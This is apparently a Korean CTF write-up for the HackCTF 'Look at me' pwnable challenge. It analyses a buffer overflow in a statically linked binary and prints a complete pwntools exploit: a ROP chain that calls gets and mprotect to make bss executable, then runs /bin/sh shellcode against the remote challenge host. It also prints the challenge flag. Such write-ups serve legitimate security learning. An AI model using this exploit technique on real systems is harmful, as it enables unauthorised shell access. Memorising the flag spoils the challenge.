[pwnable] Look at me
Wargame/HackCTF

[pwnable] Look at me

이번에는 Look At Me이다.

 

사실 이 문제 전에 Beginner_Heap 이라는 문제가 있지만

Heap은 아직 공부를 하지 않아서 건너뛰었다🙃

 

이전 Binary와는 큰 차이는 없지만

statically linked라는 점이 전과 다른 거 같다.

 

statically linked란?

 

Statically Linked는 루틴들과 외부 함수들 그리고 변수들의 집합으로서, 컴파일 타임에 호출자에 의해 리졸브되며 컴파일러와 링커에 의해 목적 파일과 독립된 실행 파일을 생성하기 위해 대상 애플리케이션에 복사된다.

 

뭐 그렇다고 하네요

 

mitigation

NX bit와 Partial RELRO만 걸려있다.

 

아이다로 열어보면 Statically Linked 방식답게 함수들이 엄청 많다

 

main

main 함수에서는 별 거 없이 look_at_me 함수만 호출하고 종료된다.

 

look_at_me

look_at_me 함수에서는 Helloooooo 문자열과 함께 v1에 입력을 받는다.

length check를 해주지 않으니 BOF가 터질 거 같다.

 

그러면 간단하게 RTL로 쉘을 딸 수 있을거 같다.

 

띠용?

RTL로 쉘 딸 수 있을거 같다는 거 취소다

 

놀랍게도 system 함수가 binary에 없다.

 

그러면 우리는 무슨 방법으로 쉘을 획득하여야 될까

 

구글링을 하던 중 처음보는 방법을 보게 되었다.

 

mprotect라는 함수를 이용하는것인데

 

mprotect 함수는 NX bit같은 특정 메모리 실행 권한을 변경할 수 있는 함수이다.

 

결국 보호 기법이 걸려 있어도 쉘 코드를 사용할 수 있는 환경을 만들 수 있는것이다.

 

그럼 우리는 bss 영역에 쉘 코드를 입력하여 쉘을 딸 수 있을거 같다.

 

익스 구상을 해보자

 

우선 mprotect의 주소가 필요할 것이고

gets 함수 주소, bss 영역 주소 이 3가지가 익스 코드를

작성하는데 필요할 거 같다.

 

하나 하나 구해보자

 

mprotect

 

gets

 

bss

그리고 추가적으로 필요한 pr gadget과 pppr 가젯을 구해보자

 

pr
pppr

이제 익스를 위한 정보들은 다 모인 거 같다!

 

익스 코드를 작성해보자

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3017)

#p = process("./lookatme")

e = ELF("./lookatme")

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

pr = 0x808319c

pppr = 0x8083bdc

bss =  0x080eaf80

bss_start = 0x080ea000

gets = 0x804f120

mprotect = 0x806e0f0

p.recvline()

payload = "A" * 0x18 #buf

payload += "B" * 0x4 #SFP

payload += p32(gets)

payload += p32(pr)

payload += p32(bss) #pop

payload += p32(mprotect)

payload += p32(pppr)

payload += p32(bss_start) #pop

payload += p32(10000) #pop

payload += p32(0x7) #pop

payload += p32(bss) #ret

p.sendline(payload)

p.sendline(shellcode)

p.interactive()

참고로 mprotect의 pppr gadget 중 p1은 주소의 뒷자리가 000이여야 되는것을 유의하자

 

flag = HackCTF{Did_you_understand_the_static_linking_method?}

 

오늘도 끄-읕🤗

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] RTC  (0) 2021.10.18
[Pwnable] SysROP  (0) 2021.03.08
[Pwnable] RTL_Core  (0) 2021.02.07
[Pwnable] Random Key  (0) 2021.02.06
[Pwnalbe] 1996  (0) 2021.02.06